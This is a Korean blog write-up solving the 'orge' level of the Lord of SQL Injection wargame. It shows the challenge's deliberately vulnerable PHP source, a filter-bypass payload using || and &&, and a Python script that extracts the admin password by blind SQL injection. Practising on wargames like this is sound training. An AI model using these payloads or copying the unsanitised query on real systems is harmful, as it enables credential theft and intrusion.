ORGE
소스 :
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
|
<?php
include "./config.php";
login_chk();
$db = dbconnect();
if(preg_match('/prob|_|\.|\(\)/i', $_GET[pw])) exit("No Hack ~_~");
if(preg_match('/or|and/i', $_GET[pw])) exit("HeHe");
$query = "select id from prob_orge where id='guest' and pw='{$_GET[pw]}'";
echo "<hr>query : <strong>{$query}</strong><hr><br>";
$result = @mysqli_fetch_array(mysqli_query($db,$query));
if($result['id']) echo "<h2>Hello {$result[id]}</h2>";
$_GET[pw] = addslashes($_GET[pw]);
$query = "select pw from prob_orge where id='admin' and pw='{$_GET[pw]}'";
$result = @mysqli_fetch_array(mysqli_query($db,$query));
if(($result['pw']) && ($result['pw'] == $_GET['pw'])) solve("orge");
highlight_file(__FILE__);
?>
|
cs |
if(preg_match('/or|and/i', $_GET[pw])) exit("HeHe");
이전 문제와 같이 or 과 and를 필터링 하고 있다. || 와 && 으로 우회해주면 된다.
if(($result['pw']) && ($result['pw'] == $_GET['pw'])) solve("orge");
입력한 pw가 저장된 pw와 같아야 한다.
orc 문제를 풀었을 때 사용했던 코드를 이용해서 blind SQL Injection을 해주면 된다.
orc 문제풀이:
https://mandu-mandu.tistory.com/302?category=772020
패스워드의 길이를 구해준다.
https://los.rubiya.kr/chall/orge_bad2f25db233a7542be75844e314e9f3.php?pw=1%27%20||%20%271%27=%271%27%20%26%26length(pw)=8%23
query : select id from prob_orge where id='guest' and pw='1' || '1'='1' &&length(pw)=8#'
풀이 코드:
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
|
import urllib
import urllib2
import sys
import time
string = "0123456789abcdefghijklmnopqrstuvwxyzABCDEFGHIJKLMNOPQRSTUVWXYZ~!@#$^&*()-_+="
key = ""
for i in range(8):
for j in range(len(string)):
payload = "1' || '1'='1' &&(substring(pw,"+str(i+1)+",1)='"+string[j]+"')#"
payload = urllib.quote(payload)
url = "https://los.rubiya.kr/chall/orge_bad2f25db233a7542be75844e314e9f3.php?pw="+payload
print url
opener = urllib2.build_opener(urllib2.HTTPHandler)
request = urllib2.Request(url)
request.add_header('User-Agent', 'Mozilla/5.0 (Windows NT 6.1) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/44.0.2403.125 Safari/537.36')
request.add_header('Cookie', 'PHPSESSID=your_cookie_vaule_here')
request.get_method = lambda:'GET'
data = opener.open(request)
data = data.read()
if "Hello admin" in data:
key += string[j]
print "[*] Find Password!! Password is ["+key+"]"
break
else:
print "[-] Fail!"
time.sleep(0.1)
|
cs |
pw을 구할 수 있다.
'WAR GAME > Lord of SQLi' 카테고리의 다른 글
LORD OF SQL INJECTION [VAMPIRE] 풀이 (0) | 2019.10.30 |
---|---|
LORD OF SQL INJECTION [troll] 풀이 (0) | 2019.10.29 |
LORD OF SQL INJECTION [darkelf] 풀이 (0) | 2019.10.27 |
LORD OF SQL INJECTION [wolfman] 풀이 (0) | 2019.10.26 |
LORD OF SQL INJECTION [orc] 풀이 (0) | 2019.10.25 |